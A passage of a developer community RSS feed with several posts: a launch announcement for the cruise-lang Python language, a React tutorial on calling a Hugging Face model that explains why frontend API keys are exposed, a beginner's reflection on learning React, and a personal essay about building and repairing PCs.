&lt;h2 id=&quot;-4-x-twitter-post-thread&quot;&gt; 4. X (TWITTER) POST / THREAD&lt;/h2&gt;
&lt;p&gt; Excited to share Cruise Language (cruise-lang v0.4.1) on PyPI! ✨&lt;/p&gt;
&lt;p&gt;An AI-ready, tensor-based programming language built in Python with:&lt;br&gt;
 PyTorch Autograd &amp;amp; Optimizers&lt;br&gt;
 AST Parser &amp;amp; Scoped Memory Frames&lt;br&gt;
 CPM Package Manager&lt;br&gt;
 Desktop GUIs in 4 lines&lt;/p&gt;
&lt;p&gt;Try it: pip install --upgrade cruise-lang&lt;/p&gt;
&lt;p&gt; GitHub: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/manjas-developer/Cruise&quot;&gt;https://github.com/manjas-developer/Cruise&lt;/a&gt;&lt;br&gt;
 Web &amp;amp; 0-100 Docs: &lt;a rel=&quot;nofollow&quot; href=&quot;https://manjas-developer.github.io/Cruise-Website/&quot;&gt;https://manjas-developer.github.io/Cruise-Website/&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;python-machinelearning-opensource-pytorch-devcommunity&quot;&gt;Python #MachineLearning #OpenSource #PyTorch #DevCommunity&lt;/h2&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27298/cruise-lang-v0-4-1-dev-articles-promotion-kit</guid>
<pubDate>Tue, 15 Sep 2026 14:10:40 +0000</pubDate>
</item>
<item>
<title> Meet Cruise Language: The Lightweight, AI-Ready Programming Language I Built at 12 Years Old!</title>
<link>https://coderlegion.com/27297/meet-cruise-language-the-lightweight-ai-ready-programming-language-built-at-12-years-old</link>
<description>&lt;h2 id=&quot;meet-cruise-language-the-lightweight-ai-ready-programming-language-i-built-at-12-years-old-&quot;&gt;Meet Cruise Language: The Lightweight, AI-Ready Programming Language I Built at 12 Years Old!&lt;/h2&gt;
&lt;p&gt;Hey everyone!  &lt;/p&gt;
&lt;p&gt;I'm Manjas Anand, a 12-year-old developer, and I’m excited to share my open-source project: &lt;strong&gt;Cruise Language&lt;/strong&gt; (&lt;code&gt;cruise-lang&lt;/code&gt;). &lt;/p&gt;
&lt;p&gt;Cruise is an AI-powered, human-readable programming language interpreter designed to bring simplicity, speed, and native deep learning power together without the complex boilerplate!&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;-key-features&quot;&gt;✨ Key Features&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PyTorch Autograd Engine&lt;/strong&gt;: Native tensor support for matrix calculations and ML math.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Human-Readable Syntax&lt;/strong&gt;: Clean, plain-English function definitions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Built-in HTTP Library&lt;/strong&gt;: Fetch JSON data and connect with REST APIs directly using simple fetch commands.&lt;/li&gt;
&lt;li&gt;️ &lt;strong&gt;Zero-Config Desktop GUI&lt;/strong&gt;: Launch instant desktop windows with graceful headless fallbacks for terminal environments.&lt;/li&gt;
&lt;li&gt;⚡ &lt;strong&gt;Cross-Platform REPL&lt;/strong&gt;: Runs on any device with Python 3.8+ (including iPad terminals!).&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h4 id=&quot;try-it-out-&quot;&gt;Try It Out!&lt;/h4&gt;
&lt;p&gt;You can install Cruise in seconds using pip:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;pip install --upgrade cruise-lang&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Run interactive commands via the REPL shell, or execute standalone script files (&lt;code&gt;.cru&lt;/code&gt; or &lt;code&gt;.crui&lt;/code&gt;):&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;cruise main.cru&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h4 id=&quot;links-amp-support&quot;&gt;Links &amp;amp; Support&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GitHub Repository&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/manjas-developer/Cruise&quot;&gt;https://github.com/manjas-developer/Cruise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Official Website&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://manjas-developer.github.io/Cruise-Website/&quot;&gt;https://manjas-developer.github.io/Cruise-Website/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PyPI Package&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://pypi.org/project/cruise-lang/&quot;&gt;https://pypi.org/project/cruise-lang/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;☕ &lt;strong&gt;Support My Work&lt;/strong&gt;: &lt;a rel=&quot;nofollow&quot; href=&quot;https://buymeachai.ezee.li/manjas_developer&quot;&gt;https://buymeachai.ezee.li/manjas_developer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I'd love to hear your thoughts, feedback, and ideas for upcoming features! Star the repo on GitHub if you find it cool! ⭐&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27297/meet-cruise-language-the-lightweight-ai-ready-programming-language-built-at-12-years-old</guid>
<pubDate>Tue, 15 Sep 2026 14:10:14 +0000</pubDate>
</item>
<item>
<title>What I Learned Integrating AI Into My React App</title>
<link>https://coderlegion.com/27205/what-i-learned-integrating-ai-into-my-react-app</link>
<description>&lt;p&gt;While building Chef Claude, a small React application where users enter the ingredients they have and receive an AI-generated recipe, I started wondering how this would actually work.&lt;/p&gt;
&lt;p&gt;Should I store recipes somewhere in my code? Or use a recipe API?&lt;/p&gt;
&lt;p&gt;Since every user could enter a different combination of ingredients, I couldn't rely on a fixed list of recipes.&lt;/p&gt;
&lt;p&gt;That's when I thought of integrating AI into the app.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;what-i-was-building&quot;&gt;What I Was Building&lt;/h3&gt;
&lt;p&gt;The flow of Chef Claude was simple.&lt;/p&gt;
&lt;p&gt;Users add ingredients based on what they have available. Every ingredient is stored in state, and after adding at least four ingredients, the &quot;Get a Recipe&quot; button appears.&lt;/p&gt;
&lt;p&gt;When the user clicks the button, the ingredient list is sent to the AI model. The model uses those ingredients to generate a recipe and sends the response back.&lt;/p&gt;
&lt;p&gt;But the response comes back as Markdown.&lt;/p&gt;
&lt;p&gt;Displaying that raw response directly in the UI didn't look good, so I used &lt;code&gt;react-markdown&lt;/code&gt; to render the Markdown properly in my React app.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ajmx7s8z73vxnss0he7e.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;getting-a-hugging-face-access-token&quot;&gt;Getting a Hugging Face Access Token&lt;/h3&gt;
&lt;p&gt;Before connecting my app to an AI model, I needed a Hugging Face access token.&lt;/p&gt;
&lt;p&gt;Creating one only took a few minutes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a &lt;a rel=&quot;nofollow&quot; href=&quot;https://huggingface.co/join&quot;&gt;Hugging Face account&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Open &lt;a rel=&quot;nofollow&quot; href=&quot;https://huggingface.co/settings/tokens&quot;&gt;&lt;strong&gt;Access Tokens&lt;/strong&gt;&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Create a new fine-grained token.&lt;/li&gt;
&lt;li&gt;Enable inference permissions.&lt;/li&gt;
&lt;li&gt;Copy the token.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/9xyxl2629xduuwxuhc27.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;setting-up-the-environment-variable&quot;&gt;Setting Up the Environment Variable&lt;/h3&gt;
&lt;p&gt;After getting my Hugging Face token, I needed to use it inside my React application.&lt;/p&gt;
&lt;p&gt;Instead of hardcoding my API key directly into my React code, I stored it in a &lt;code&gt;.env&lt;/code&gt; file to keep my configuration separate from the source code.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-env&quot;&gt;VITE_HF_ACCESS_TOKEN=YOUR_API_KEY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then I accessed it inside my application using:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-jsx&quot;&gt;const token = import.meta.env.VITE_HF_ACCESS_TOKEN;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At first, I thought keeping my token in a &lt;code&gt;.env&lt;/code&gt; file meant it was completely safe.&lt;/p&gt;
&lt;p&gt;But after learning how Vite handles environment variables, I realized that wasn't true.&lt;/p&gt;
&lt;p&gt;Since my React application needs the token to make the API request, Vite exposes &lt;code&gt;VITE_&lt;/code&gt; environment variables to the frontend during the build process. That also means the browser has access to them.&lt;/p&gt;
&lt;p&gt;One thing that confused me was this: if my &lt;code&gt;.env&lt;/code&gt; file wasn't part of my application code, then how was the browser still getting my API key?&lt;/p&gt;
&lt;p&gt;After understanding how Vite builds the application, it finally clicked. The &lt;code&gt;.env&lt;/code&gt; file helps keep my configuration separate from the source code, but &lt;code&gt;VITE_&lt;/code&gt; variables are still injected into the frontend because the browser needs them to make the API request.&lt;/p&gt;
&lt;p&gt;That's when I realized my API key wasn't actually secret anymore.&lt;/p&gt;
&lt;p&gt;While researching this, I also understood why backend applications are important. Instead of letting the browser call the Hugging Face API directly, the better approach is to keep the API key on the backend. The frontend sends the user's ingredients to the backend, the backend talks to the AI using the secret API key, and only the generated recipe is returned to the frontend.&lt;/p&gt;
&lt;p&gt;Even though I haven't learned backend development yet, this was the moment I finally understood why developers keep saying that secret API keys should never live in the frontend.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;One thing I learned:&lt;/strong&gt; Keeping &lt;code&gt;.env&lt;/code&gt; out of your source code and keeping an API key secret are two different things. If the frontend needs the key, the browser will eventually have access to it. That's why sensitive API keys should be kept on a backend or serverless function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h3 id=&quot;connecting-the-model&quot;&gt;Connecting the Model&lt;/h3&gt;
&lt;p&gt;After setting up the API key, the next step was connecting my React application to an AI model.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { HfInference } from &quot;@huggingface/inference&quot;;

const SYSTEM_PROMPT = `
You are an assistant that receives a list of ingredients that a user has and suggests a recipe they could make with some or all of those ingredients. You don't need to use every ingredient they mention in your recipe. The recipe can include additional ingredients they didn't mention, but try not to include too many extra ingredients. Format your response in markdown to make it easier to render to a web page
`;

const hf = new HfInference(import.meta.env.VITE_HF_ACCESS_TOKEN);

export async function getRecipeFromMistral(ingredientsArr) {
    const ingredientsString = ingredientsArr.join(&quot;, &quot;);

    const response = await hf.chatCompletion({
    // I'm using Qwen 2.5 7B Instruct, but you can replace it with any compatible Hugging Face model.
        model: &quot;Qwen/Qwen2.5-7B-Instruct&quot;,
        messages: [
            { role: &quot;system&quot;, content: SYSTEM_PROMPT },
            {
                role: &quot;user&quot;,
                content: `I have ${ingredientsString}. Please give me a recipe I'd recommend!`,
            },
        ],
    });

    return response.choices[0].message.content;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's break down what each part is doing.&lt;/p&gt;
&lt;h4 id=&quot;hfinference&quot;&gt;&lt;code&gt;HfInference&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Instead of manually sending HTTP requests to the Hugging Face API, the SDK provides a client that makes interacting with AI models much simpler.&lt;/p&gt;
&lt;h4 id=&quot;system-prompt&quot;&gt;&lt;code&gt;SYSTEM_PROMPT&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;The system prompt tells the AI how it should behave.&lt;/p&gt;
&lt;p&gt;In my project, I wanted the AI to act like a recipe assistant. It should take the user's ingredients, suggest a recipe, and return the response in Markdown so I could render it nicely in my UI.&lt;/p&gt;
&lt;p&gt;Without a system prompt, the AI still responds, but it doesn't have clear instructions about the format or the type of answer I expect.&lt;/p&gt;
&lt;h4 id=&quot;ingredientsarr-join-&quot;&gt;&lt;code&gt;ingredientsArr.join(&quot;, &quot;)&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;The ingredients entered by the user are stored as an array.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;[&quot;Rice&quot;, &quot;Egg&quot;, &quot;Onion&quot;, &quot;Tomato&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before sending them to the AI, I converted them into a single string using &lt;code&gt;.join(&quot;, &quot;)&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Rice, Egg, Onion, Tomato
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This creates a natural sentence that becomes part of the user's prompt.&lt;/p&gt;
&lt;h4 id=&quot;chatcompletion-&quot;&gt;&lt;code&gt;chatCompletion()&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;This is the function provided by the Hugging Face SDK that sends my prompt to the selected AI model and returns its response.&lt;/p&gt;
&lt;p&gt;In simple words, this is where my React application actually talks to the AI.&lt;/p&gt;
&lt;h4 id=&quot;returning-the-recipe&quot;&gt;Returning the recipe&lt;/h4&gt;
&lt;p&gt;Finally, I return:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;response.choices[0].message.content
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gives me the generated recipe, which I later render in my React application using &lt;code&gt;react-markdown&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/5cafuwoee1i1tqb48uj6.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;the-response-was-markdown&quot;&gt;The Response Was Markdown&lt;/h3&gt;
&lt;p&gt;After connecting the AI model, I thought the hard part was over.&lt;/p&gt;
&lt;p&gt;The user clicked the &lt;strong&gt;&quot;Get a Recipe&quot;&lt;/strong&gt; button, the AI generated a recipe, and everything worked.&lt;/p&gt;
&lt;p&gt;But there was one small problem.&lt;/p&gt;
&lt;p&gt;The response didn't look good in the UI.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/ic8sm8itwma28yzmwkos.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;The AI was already returning a well-structured Markdown response, and when I rendered it directly, it looked like plain text instead of a nicely formatted recipe.&lt;/p&gt;
&lt;p&gt;That's when I discovered &lt;code&gt;react-markdown&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Instead of manually formatting the response, I used &lt;code&gt;react-markdown&lt;/code&gt; to render the Markdown as React elements.&lt;/p&gt;
&lt;p&gt;The difference was immediately noticeable. Headings, bullet points, and formatting started looking like a proper recipe instead of a block of text.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/thpoqimmrrzxy3507ug0.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;That small library made the final output look much better without adding much extra code.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;When I started this project, I thought integrating AI simply meant sending a prompt and getting a response.&lt;/p&gt;
&lt;p&gt;By the end, I realized there was much more involved—structuring prompts, handling responses, understanding how environment variables work, and presenting the AI's output in a way that feels polished to the user.&lt;/p&gt;
&lt;p&gt;This project also reminded me that every library solves a specific problem. Instead of building everything from scratch, knowing when to use the right tool is just as important.&lt;/p&gt;
&lt;p&gt;If you've built something similar or have suggestions, I'd love to hear them in the comments.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27205/what-i-learned-integrating-ai-into-my-react-app</guid>
<pubDate>Tue, 15 Sep 2026 00:46:58 +0000</pubDate>
</item>
<item>
<title>I finished the Tenzies &quot;toy&quot; and immediately hit a wall</title>
<link>https://coderlegion.com/27179/i-finished-the-tenzies-toy-and-immediately-hit-a-wall</link>
<description>&lt;h3 id=&quot;i-finished-the-tenzies-toy-and-immediately-hit-a-wall&quot;&gt;I finished the Tenzies &quot;toy&quot; and immediately hit a wall&lt;/h3&gt;
&lt;p&gt;So I wrapped up the basics course, played around with (and extended) the Tenzies app — a tutorial toy, not a real problem, as I keep reminding myself — and figured I was ready to build something real. Something that actually solves a problem, not just proves I can follow along.&lt;/p&gt;
&lt;p&gt;I had an idea. I streamlined it. I felt good about it.&lt;/p&gt;
&lt;p&gt;Then I did something that wrecked that feeling: I pulled up a proper list of React concepts and checked off what I'd actually covered.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;✅ derived state
✅ forms and controlled inputs
✅ (medium) state management
—  complex component architecture
—  reusable components
—  custom hooks
—  API calls
—  loading/error states
—  routing
—  optimistic updates
—  pagination/filtering/search
—  authentication
—  local persistence
—  performance considerations
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three and a half out of fourteen. Omo.&lt;/p&gt;
&lt;h3 id=&quot;the-fork-in-the-road&quot;&gt;The fork in the road&lt;/h3&gt;
&lt;p&gt;This left me with a real decision, not a vibes-based one: do I stop and take a structured advanced React course, or do I keep building and pick up the missing concepts as the project demands them?&lt;/p&gt;
&lt;p&gt;I was already skeptical of the second option going in — and for a specific reason. If I build while leaning on AI to fill every gap, I could ship something that &lt;em&gt;looks&lt;/em&gt; like my project while understanding almost none of the concepts that made it work. That's not learning, that's assembling.&lt;/p&gt;
&lt;p&gt;So before picking a side, I had to answer a harder question: &lt;strong&gt;what actually stops &quot;learning while building&quot; from turning into &quot;pasting while building&quot;?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Here's where I landed — the rule I'm holding myself to for this build:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Get the overview of a concept first (with or without AI help) — not the implementation, just the shape of the idea.&lt;/li&gt;
&lt;li&gt;Attempt the feature that needs it, myself, before asking anything.&lt;/li&gt;
&lt;li&gt;If I'm stuck after real reasoning and research — not five minutes of staring — &lt;em&gt;then&lt;/em&gt; I bring Claude in, and only for a hint, not the answer.&lt;/li&gt;
&lt;li&gt;The overall sequence of what to learn when is planned out for me, since I don't yet know this territory well enough to sequence it myself.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;That last point matters more than it sounds — it's the difference between &quot;I'll learn as I go&quot; (vague, no accountability) and having an actual curriculum sitting underneath an unstructured build.&lt;/p&gt;
&lt;p&gt;I'm treating this as a real test, not a permanent decision. If a few weeks in this path isn't producing real understanding, I'll stop and go take the structured course instead. No shame in switching — just data either way.&lt;/p&gt;
&lt;h3 id=&quot;a-quick-contrast-learning-tailwind-was-the-opposite-of-this&quot;&gt;A quick contrast: learning Tailwind was the opposite of this&lt;/h3&gt;
&lt;p&gt;Small aside, but it's stuck with me. I picked up Tailwind CSS purely by reading the documentation — no tutorials, no courses. It just clicked. If you're learning Tailwind: skip the tutorials, the docs are enough.&lt;/p&gt;
&lt;p&gt;React, at this depth, is not that. And honestly, that gap in difficulty is part of why I needed an actual system before diving in, instead of just winging it.&lt;/p&gt;
&lt;h3 id=&quot;what-s-next-1&quot;&gt;What's next&lt;/h3&gt;
&lt;p&gt;The project this is all in service of — a progress-tracking app for an accountability group I'm part of — deserves its own post, because the scoping conversation alone was a whole thing. That's coming separately.&lt;/p&gt;
&lt;p&gt;For now: if you've gone through this same fork — course first vs. learn-by-building — I'd genuinely like to hear which way you went and whether you'd choose the same again.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Tags: #react #javascript #webdev #beginners&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27179/i-finished-the-tenzies-toy-and-immediately-hit-a-wall</guid>
<pubDate>Mon, 14 Sep 2026 16:36:50 +0000</pubDate>
</item>
<item>
<title>Maybe I Do Know Something After All</title>
<link>https://coderlegion.com/27176/maybe-i-do-know-something-after-all</link>
<description>&lt;p&gt;I’ve been thinking about writing more, but once again I found myself trapped in a loop of self-doubt. It’s difficult to have so many ideas and still feel unable to act on them—or to believe that, in the end, I have no knowledge worth sharing. I get stuck there from time to time.&lt;/p&gt;
&lt;p&gt;I often feel as though I know nothing. The truth is that I know many things; they simply do not always seem to be the things people want or value, at least from a business or capitalist perspective. When I try to share what I have learned with my family, even just to reinforce it for myself, they often do not want to listen or do not seem interested.&lt;/p&gt;
&lt;p&gt;I am a lonely person, and sometimes that is difficult to live with. The one constant throughout my life has been the computer.&lt;/p&gt;
&lt;h3 id=&quot;learning-by-clicking-on-things&quot;&gt;Learning by Clicking on Things&lt;/h3&gt;
&lt;p&gt;I have used computers for as long as I can remember. In 1998, my father brought home our first PC, a Compaq Presario that was top of the line at the time. I was born in 1992 and was still learning to read and write, yet I was already exploring Windows 95, clicking through menus and learning by trial and error.&lt;/p&gt;
&lt;p&gt;My father bought games for us, and I still have many of them. I drew in Paint, played Pinball, and later began writing in Word. I even wrote entire books—well, a Harry Potter spin-off—but I was writing nonetheless. Games such as Zoo Tycoon, RollerCoaster Tycoon, The Sims, and the Harry Potter titles helped shape my childhood. I kept writing throughout my teenage years, something I have never quite managed to return to in the same way.&lt;/p&gt;
&lt;p&gt;Looking back, that childhood curiosity never really disappeared; it simply became experience. I have lived through Windows 95, Windows Millennium Edition, Windows XP Professional, Windows Vista, Windows 7, Windows 8.1, Windows 10, and now Windows 11. For years, I assumed that I knew nothing about computers or how they worked. It turns out that I do. I had absorbed the idea that working with computers required being good at mathematics, which I am not, and that belief made me overlook the practical knowledge I had been accumulating all along.&lt;/p&gt;
&lt;p&gt;Over time, that knowledge became increasingly tangible. I have built and upgraded computers, diagnosed some of the worst Windows problems, and grown comfortable using PowerShell. In 2022, after researching and choosing every component myself, I assembled my first PC entirely on my own. Still, I never treated any of this as a real skill. I assumed that “normal people must know how to do it too.” Yet I genuinely enjoy investigating those small, stubborn problems and finding a way around them.&lt;/p&gt;
&lt;h3 id=&quot;every-computer-gave-me-a-new-problem&quot;&gt;Every Computer Gave Me a New Problem&lt;/h3&gt;
&lt;p&gt;That confidence did not appear all at once. It grew through each computer I owned and every problem it gave me. After the Compaq came a Dell Dimension 2000 running Windows ME. In 2004, I received the first computer that was truly mine: another Dell Dimension, this time with Windows XP Professional. Its Celeron processor was far from ideal for The Sims 2, but I played anyway. I developed a ritual: Disk Cleanup, defragmentation, and then opening the game to face its seemingly eternal loading screen.&lt;/p&gt;
&lt;p&gt;When The Sims 3 was about to be released, I asked my parents for a new computer because the old Dell would not be able to run it. They gave me a Vostro with an ATI graphics card whose model I can no longer remember. It arrived with Windows Vista, and then the strangest thing happened: after I installed The Sims 2, the graphics card died. On the very day I received the computer, I had to call Dell and arrange for the ATI card to be replaced.&lt;/p&gt;
&lt;p&gt;The problems changed as the computers improved, but the pattern remained the same: something would go wrong, and I would learn by dealing with it. After the Vostro came a Dell laptop running Windows 7, a definite improvement. In 2014, I upgraded again to a Dell XPS with an NVIDIA card and, if I remember correctly, a fourth-generation Core i5. Once I began playing Battlefield 4, I used my first internship salary to buy my first dedicated graphics card: a Sapphire R9 270 Dual-X, still one of the best GPUs I have ever owned. I still have it, and it still works. I gave the original XPS graphics card to someone in an online group whose own card had died and who could not afford a replacement.&lt;/p&gt;
&lt;h3 id=&quot;windows-should-never-be-trusted-with-options&quot;&gt;Windows Should Never Be Trusted with Options&lt;/h3&gt;
&lt;p&gt;By the time I had pushed that XPS as far as I could—through Windows 8.1 and the Windows 10 Insider builds—I was ready for something different. I moved to the strangest Dell I had ever owned: an all-AMD system with a Ryzen 7 1700X and a reference-model RX 570. It made me happy for a long time. More importantly, it became the computer through which I learned that practical knowledge does not always look graceful while it is being acquired.&lt;/p&gt;
&lt;p&gt;That lesson arrived quickly. For someone who was terrified of damaging hardware, I had what might have been the worst beginner experience imaginable. Every upgrade felt like a test designed specifically to confirm my fears. Fortunately, fear was never the only thing I brought to a problem. I was also creative—or, at least, very willing to invent solutions when the official ones refused to work.&lt;/p&gt;
&lt;p&gt;Installing Windows became one of those problems. I owned several SSDs and hard drives, which meant the installer had options—and Windows should never be trusted with options. I could select the correct SSD, double-check it, and practically introduce the two of them by name. Windows would nod politely and then install the boot files somewhere else, like a confused delivery driver leaving my operating system at a neighbor’s house.&lt;/p&gt;
&lt;p&gt;Eventually, I stopped trying to reason with it. I disconnected every other drive. No menus, no advanced configuration, no more opportunities for creative interpretation: just Windows and one SSD alone in a room. It was less a technical solution than removing every wrong answer from a multiple-choice test, but it worked. With nowhere else to put the boot files, Windows finally discovered the drive I had been pointing at the entire time.&lt;/p&gt;
&lt;p&gt;Solving one Windows problem, however, usually led to another. My Windows 11 OEM license had originally come with my old Dell, and it remained activated after I changed the motherboard. Whenever I mentioned this, people insisted that it could not be legitimate—as though they knew more about my license than Microsoft’s own activation servers did.&lt;/p&gt;
&lt;p&gt;The situation was absurd: Windows looked at my rebuilt computer and said, “Yes, this is fine,” while other people treated me as though I had forged the operating system in my basement. I could point to the activation screen, but apparently official confirmation from Windows was merely circumstantial evidence. The motherboard change behind that argument, however, had given me a much more immediate concern.&lt;/p&gt;
&lt;h3 id=&quot;the-ryzen-that-refused-to-die&quot;&gt;The Ryzen That Refused to Die&lt;/h3&gt;
&lt;p&gt;The license survived the motherboard change without complaint. The processor’s pins were less fortunate. During a motherboard swap at Christmas—because nothing captures the holiday spirit quite like dismantling a computer while everyone else is eating—I removed the cooler and discovered that the Ryzen had come with it, firmly attached by thermal paste and possibly spite. Several pins were bent.&lt;/p&gt;
&lt;p&gt;At that moment, there were two possible responses. A sensible person might have admitted defeat. I took out an insulin needle.&lt;/p&gt;
&lt;p&gt;One by one, I straightened the pins with the kind of concentration normally reserved for surgery or bomb disposal. Then I placed the processor back into the socket and turned on the computer. It worked. Against all reasonable expectations, the Ryzen had survived being ripped from its home, having its legs bent, and receiving emergency treatment with an insulin needle.&lt;/p&gt;
&lt;p&gt;It was not even the last time I bent its pins. During yet another motherboard change, the processor slipped from my hands and landed on the motherboard in the worst possible position. If there was a single angle capable of producing maximum damage, it found it.&lt;/p&gt;
&lt;p&gt;I picked it up and looked at the pins. Bent. Again. By then, the insulin needle and I were no longer performing emergency surgery; we were apparently running a recurring clinic. I straightened them one more time, put the processor back into its socket, and turned on the computer. Naturally, it worked. At this point, surviving my hardware upgrades had become one of its advertised features.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=16517056867392188326&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;I assumed that was the end of the adventure. The processor had been tested, repaired, and granted a second chance. Then, sometime later, I removed it again and found a burned ant lodged between the pins.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://coderlegion.com/?qa=blob&amp;amp;qa_blobid=3746512138171252921&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;There are moments in computer repair when technical knowledge helps. This was not one of them. No manual prepares you for discovering that your CPU has apparently defeated an insect in single combat. I removed the ant, inspected the pins, and wondered whether I had unknowingly purchased a processor or a very small electrical predator.&lt;/p&gt;
&lt;p&gt;Once again, I reassembled the computer. Once again, the Ryzen started normally, as if nothing unusual had happened. Bent pins? Twice. Needle surgery? A repeat procedure. Incinerated intruder? Barely worth mentioning. At this point, the processor seemed less like a component and more like the final survivor in a low-budget science-fiction film.&lt;/p&gt;
&lt;p&gt;Eventually, I gave the 1700X to my boyfriend’s brother. It is still working today, which means it has now survived being torn from a cooler, two separate bent-pin disasters, repeated amateur microsurgery, an insect-related electrical incident, and a change of ownership. I can only assume it will outlive all of us.&lt;/p&gt;
&lt;h3 id=&quot;maybe-i-do-know-something-after-all&quot;&gt;Maybe I Do Know Something After All&lt;/h3&gt;
&lt;p&gt;I think that is why I am so attached to that Ryzen. It is not only nostalgia. We have been through too much together. Somewhere between the bent pins, the needle, and the burned ant, I stopped seeing a computer as this precious sealed object that I was going to destroy if I touched the wrong thing. I learned that I could make a mistake, panic a little, find a solution, and fix it. If that processor ever stops working, I will probably keep it forever in a drawer with all the cables I refuse to throw away.&lt;/p&gt;
&lt;p&gt;Now I feel confident enough to build PCs for other people. I know how to research the parts, put everything together, and deal with whatever strange problem appears afterward, because there is always something. I also run the Windows Preview builds on my own computer—the experimental version—and somehow make them work beautifully. Years ago, I was afraid of touching the hardware. &lt;/p&gt;
&lt;p&gt;Now I willingly install unfinished versions of Windows. I am not sure whether that is personal growth or just a different kind of bad decision, but I will take it.&lt;/p&gt;
&lt;p&gt;Maybe I do know something after all. I did not learn it in a classroom, and nobody ever told me that I was officially qualified. I learned by clicking on things, breaking things, searching for answers, finding ridiculous workarounds, and trying again. Sometimes the solution was disconnecting every drive until Windows had no other choice. Sometimes it was straightening the same processor’s pins for the second time. None of this ever felt impressive to me because it was simply what I did. But maybe that does not make it less valuable. Maybe the things that feel ordinary to me are still worth sharing. And maybe writing about computers is a good place to start.&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/27176/maybe-i-do-know-something-after-all</guid>
<pubDate>Mon, 14 Sep 2026 15:34:46 +0000</pubDate>
</item>
<item>
<title>My Developer Journey So Far: Wrong Turns, Real Lessons — Elias Song’s Story</title>
